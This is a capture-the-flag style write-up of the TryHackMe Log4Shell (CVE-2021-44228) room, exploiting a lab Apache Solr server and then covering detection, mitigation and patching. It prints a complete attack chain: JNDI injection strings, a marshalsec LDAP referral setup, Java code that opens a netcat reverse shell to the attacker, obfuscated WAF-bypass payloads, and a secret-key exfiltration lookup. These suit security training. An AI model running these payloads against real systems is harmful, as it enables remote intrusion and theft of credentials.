TRY HACK ME: Write-Up Exploiting Log4j

Shefali Kumari
15 min readDec 18, 2021

--

Task 1 CVE-2021–44228 Introduction –

On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021–44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed “Log4Shell”

Today, log4j version 2.15.0rc2 is available and patches this vulnerability. However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code. While you may be able to patch your own codebase using log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock by the nature of its enormous attack surface. We will see this vulnerability for years to come.

For a growing community-supported list of software and services vulnerable to CVE-2021–44228, check out this GitHub repository:

https://github.com/YfryTchsGD/Log4jAttackSurface

This room will showcase how you can test for, exploit, and mitigate this vulnerability within Log4j.

While there are a number of other articles, blogs, resources and learning material surrounding CVE-2021–44228, I (the author of this exercise) am particularly partial to these:

https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java

https://log4shell.huntress.com/

https://www.youtube.com/watch?v=7qoPDq41xhQ

Note from the author:

Please use the information you learn in this room to better the security landscape. Test systems you own, apply patches and mitigations where appropriate, and help the whole industry recover. This is a very current and real-world threat — whether you are a penetration tester, red teamer, incident responder, security analyst, blue team member, or what have you — this exercise is to help you and the world understand and gain awareness on this widespread vulnerability. It should not be used for exploitative gain or self-serving financial incentive (I’m looking at you, beg bounty hunters)

Additionally, please bear in mind that the developers of the log4j package work on the open source project as a labor of love and passion. They are volunteer developers that maintain their project in their spare time. There should be absolutely no bashing, shame, or malice towards those individuals. As with all things, please further your knowledge so you can be a pedestal and pillar for the information security community. Educate, share, and help.

Answer to the questions of this section-

No Answer Needed

Task 2 Reconnaissance –

The target virtual machine includes software that utilizes this vulnerable log4j package, offering you a playground to explore the vulnerability.

After deploying your virtual machine, you should find that the IP address (accessible within the TryHackMe VPN or through the provided AttackBox) is 10.10.17.246.

To begin, start with basic reconnaissance to understand what ports are open on this machine. This is best done within a Linux distribution, like Kali Linux, ParrotOS, Black Arch (or any other flavor of your choosing) with the nmap command-line tool:

Run a basic nmap scan against vulnerable machine

attackbox@tryhackme$ nmap -v 10.10.17.246

The application present on this target specifically uses ports that may not be immediately noticed by nmap. For the “whole picture perspective,” scan all ports like so:

Scan all ports on machine via nmap

attackbox@tryhackme$ nmap -v -p- 10.10.17.246

Answer to the questions of this section-

Launched nmap –sV –v –p 8983 [target IP]

Task 3 Discovery –

This target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.

Explore the web interface accessible at http://10.10.17.246:8983 and click around to get a feel for the application. For more detail on Apache Solr, please refer to their official website. https://solr.apache.org/

This instance of Apache Solr is provisioned with no data whatsoever. It is a flat, vanilla, and absolutely minimum installation — yet at its core it is still vulnerable to this CVE-2021–44228.

Answer to the questions of this section-

Steps:

1) Navigate to http://10.10.17.246:8983, you will be greeted with below dashboard.

2) Find Argument set to — /var/solr/logs

3) Download the task file

Unzip the downloaded file and extract it

Identified repeated requests

Task 4 Proof of Concept–

Note that the URL endpoint that you have just uncovered needs to be prefaced with the solr/ prefix when viewing it from the web interface. This means that you should visit:

http://10.10.17.246:8983/solr/admin/cores

You also noticed that params seems to be included in the log file. At this point, you may already be beginning to see the attack vector.

The log4j package adds extra logic to logs by “parsing” entries, ultimately to enrich the data — but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021–44228. Other syntax might be in fact executed just as it is entered into log files.

Some examples of this syntax are:

${sys:os.name}

${sys:user.name}

${log4j:configParentLocation}

${ENV:PATH}

${ENV:HOSTNAME}

${java:version}

You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

This syntax indicates that the log4j will invoke functionality from “JNDI”, or the “Java Naming and Directory Interface.” Ultimately, this can be used to access external resources, or “references,” which is what is weaponized in this attack.

Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.

For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST placeholder in the above syntax. You, acting as the attacker in this scenario, can host a simple listener to view this connection.

The next question is, where could we enter this syntax?

Anywhere that has data logged by the application.

This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, what applications are in fact vulnerable. Simply seeing the presence of log4j files doesn’t clue in on the exact version number, or even where or how the application might use the package.

Think back to the previous task. You already discovered that you could supply params to the /solr/admin/cores URL, and now that you have a better understanding of how log4j works, you should understand that this is where you supply your inject syntax. You can simply supply HTTP GET variables or parameters which will then processed and parsed by log4j. All it takes is this single line of text — and that makes this vulnerability extremely easy to exploit.

Other locations you might supply this JNDI syntax:

Input boxes, user and password login forms, data entry points within applications

HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers

Any place for user-supplied data

If you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Answer to the questions of this section-

No Answer needed, just follow the steps mentioned in the task

Steps:

1) Do ifconfig to find Attacker IP address

2) Start listener nc –nlvp 9999

Connection established after hitting curl

3) Curl the URL and supply params/payload

Task 5 Exploitation –

At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request… so all your netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.

We will utilize a open-source and public utility to stage an “LDAP Referral Server”. This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:

${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server

LDAP Referral Server springboards the request to a secondary http://attackerserver/resource

The victim retrieves and executes the code present in http://attackerserver/resource

This means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):

python3 -m http.server

php -S 0.0.0.0:8000

(or any other busybox httpd or formal web service you might like)

If you get stuck on any of the following steps, we have a video showcasing (using the AttackBox) each step to gain remote code execution: https://youtu.be/OJRqyCHheRE

Answer to the questions of this section-

No Answer needed, just follow the steps mentioned in the task

Steps-

Remember to check java version you should be running 1.8.0_181

1) Download the jdk file from https://mirror.cnop.net/jdk/linux/ or

https://repo.huaweicloud.com/java/jdk/8u181-b13/

2) Now navigate to /usr/lib/jvm (if you are using your own machine/usr/lib/jvm already exists) to copy the jdk-8u181 file into it and extract it using tar xvzf

Then set the update-alternatives by hitting the below commands

sudo update-alternatives — install “/usr/bin/java” “java” “/usr/lib/jvm/jdk1.8.0_181/bin/java” 1

sudo update-alternatives — install “/usr/bin/javac” “javac” “/usr/lib/jvm/jdk1.8.0_181/bin/javac” 1

sudo update-alternatives — install “/usr/bin/javaws” “javaws” “/usr/lib/jvm/jdk1.8.0_181/bin/javaws” 1

sudo update-alternatives — set java /usr/lib/jvm/jdk1.8.0_181/bin/java

sudo update-alternatives — set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac

sudo update-alternatives — set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

We have achieved our desired java -version

Run for update — sudo apt-get update

3) Now clone the repository in one of the folders : /opt ; /tmp or I used /Downloads-git clone https://github.com/mbechler/marshalsec

cd to marshalsec folder And sudo apt install maven (this jdk 8u181 is used in compatibility with maven build)

This is all done to obtain the temporary LDAP Referral Server form the git repository

Do the below steps within marshalsec directory

4) Now do mvn clean package –DskipTests , this is a command to build marshalsec utility

5) Make the listener up for LDAP Server by hitting java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR.ATTACKER.IP.ADDRESS/#Exploit

Listening on 0.0.0.0:1389

Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000. (put only Attacker IP and remove 8000 port in the command)

6) Make use of this code to prepare shell-

public class Exploit {

static {

try {

java.lang.Runtime.getRuntime().exec(“nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999”);

} catch (Exception e) {

e.printStackTrace();

}

}

}

Create a file named Exploit.java and paste the above script

7) Now compile the payload using javac Exploit.java -source 8 -target 8

8) Now make use of python3 HTTP server we already started; also start nc –nlvp 9999 to catch he reverse shell

9) Hit this command curl ‘http://10.10.57.41:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}' and catch reverse shell

Results:

Task 6 Persistence –

Now that you have gained a reverse shell connection on the victim machine, you can continue to take any action you might like.

To better understand this log4j vulnerability, let’s grant ourselves “better access” so we can explore the machine, analyze the affected logs, and even mitigate the vulnerability!

You may have noticed from your earlier nmap scan that SSH (port 22) was open on the host. We did not know any usernames or passwords at the point, so trying against that protocol would be useless — but now that you have code execution as a user, you could potentially add private keys or change passwords.

Answer to the questions of this section-

No Answer needed, just follow the steps mentioned in the task

Steps:

1) Check user account through whoami

2) Now try stabilizing the shell by using python pty and sty raw (follow the steps mentioned)

on the reverse shell) python3 -c “import pty; pty.spawn(‘/bin/bash’)”

(press on your keyboard) Ctrl+Z

(press on your keyboard) Enter

(on your local host) stty raw -echo

(on your local host) fg (you will not see your keystrokes — trust yourself and hit Enter)

(press on your keyboard) Enter

(press on your keyboard) Enter

(on the reverse shell) export TERM=xterm

3) Now do sudo privileges without using any password [means we have privileges to run as root]

4) This room is providing to become root in the system by changing user password and maintaining our persistence

Connect using ssh solr@[Victim IP] {if you wish to create persistence}

Task 7 Detection –

Unfortunately, finding applications vulnerable to CVE-2021–44228 “Log4Shell” is hard.

Detecting exploitation might be even harder, considering the unlimited amount of potential bypasses.

With that said, the information security community has seen an incredible outpouring of effort and support to develop tooling, script, and code to better constrain this threat. While this room won’t showcase every technique in detail, you can again find an enormous amount of resources online.

Below are snippets that might help either effort:

https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes(local, based off hashes of log4j JAR files)

https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (local, based off hashes of log4j CLASS files)

https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (listing of vulnerable JAR and CLASS hashes)

https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (local, hunting for vulnerable log4j packages in PowerShell)

https://github.com/darkarnium/CVE-2021-44228 (local, YARA rules)

As a reminder, a massive resource is available here:

https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Answer to the questions of this section-

No Answer needed, just follow the steps mentioned in the task

Steps-

1) In Task 3 we did find /var/solr/logs; navigate to this directory within the compromised system

2) Review the log file- cat solr.log; we will find logs for our Exploit as well. We can also view other log files.

Task 8 Bypasses –

The JNDI payload that we have showcased is the standard and “typical” syntax for performing this attack.

If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.

Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.

With that in mind, there are honestly an unlimited number of bypasses to sneak in this syntax. While we will not be diving into the details in this exercise, you are encouraged to play with them in this environment. Read them carefully to understand what tricks are being used to masquerade the original syntax.

There are numerous resources online that showcase some examples of these bypasses, with a few offered below:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

${${::-j}ndi:rmi://attackerendpoint.com/}

Note the use of the rmi:// protocol in the last one. This is also another valid technique that can be used with the marshalsec utility — feel free to experiment!

Additionally, within the log4j engine, you can expand arbitrary environment variables (if this wasn’t already bad enough). Consider the damage that could be done even with remote code execution, but a simple LDAP connection and exfiltration of ${env:AWS_SECRET_ACCESS_KEY}

For other techniques, you are strongly encouraged t do your own research. There is a significant amount of information being shared in this Reddit thread: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Gentle reminder, use this knowledge for good. You know what they say… great power, great responsibility and all.

Answer to the questions of this section-

This section is showcasing some examples of bypasses

No answer needed

Task 9 Mitigation –

Now that you have acted as the adversary for a little bit, please take off your hacker hat and let’s mitigate the vulnerability on this vulnerable machine! Review the mitigation techniques suggested on the Apache Solr website. https://solr.apache.org/security.html

One option is to manually modify the solr.in.sh file with a specific syntax. Let’s go down that route for the sake of showcasing this defensive tactic.

If you want to directly SSH into the machine, the credentials are vagrant as the username and vagrant as the password.

Answer to the questions of this section-

No Answer needed, just follow the steps mentioned in the task

Steps:

1) We will begin mitigating manually solr.in.sh file

2) The Apache Solr website Security page explains that you can add this specific syntax to the solr.in.sh file: SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true”

Using sudo nano /etc/default/solr.in.sh paste this code- SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true” randomly anywhere within the solr.in.sh file and save it

Now do sudo /etc/init.d/solr restart to successfully restart the Apache Solr Service

3) Now to validate the patch that has taken place, start another netcat listener and spin up LDAP Referral Server and HTTP Server

Hit curl again to verify the patch

Results- this time we should not get any response to the temporary LDAP server, HTTP server, and netcat service.

Patch is Successful

Task 10 Patching –

At the time of creating this exercise, Apache Solr 8.11.1 has not yet been released with a formal patch for CVE-2021–44228. Alongside many other software providers, the industry is frantically scrambling to patch their software and push it downstream to end users as quickly as they can.

Please be understanding of this frenzy. There are so many potential places that this log4j vulnerability could be present, we may never see the end of this vulnerability for a long, long time. The onus is on you, on me, on each and every one of us to raise awareness of this incident, and hold the community accountable for actively responding. When the time comes, roll out the patches that have been made available and continue to hunt for instances of this vulnerability. It takes a village.

Where appropriate, please ensure you patch the logging-log4j package to version 2.15.0rc2 or higher (as new releases come available).

If you’re responsible for identifying vulnerable services that use log4j, there is a list of a few majorly affected services/products here- https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/

Answer to the questions of this section-

No answer needed

That is all for this Write-up, hoping this will help you in solving the challenges of Solar Exploiting Log4j. Have Fun and Enjoy Hacking! Do visit other rooms and modules on TryHackMe for more learning.

-by Shefali Kumai

--

--

Shefali Kumari

Love Learning about Malware analysis, Threat hunting, Network Security and Incident Response Management professionally | https://youtube.com/channel/UCf-F-eATCU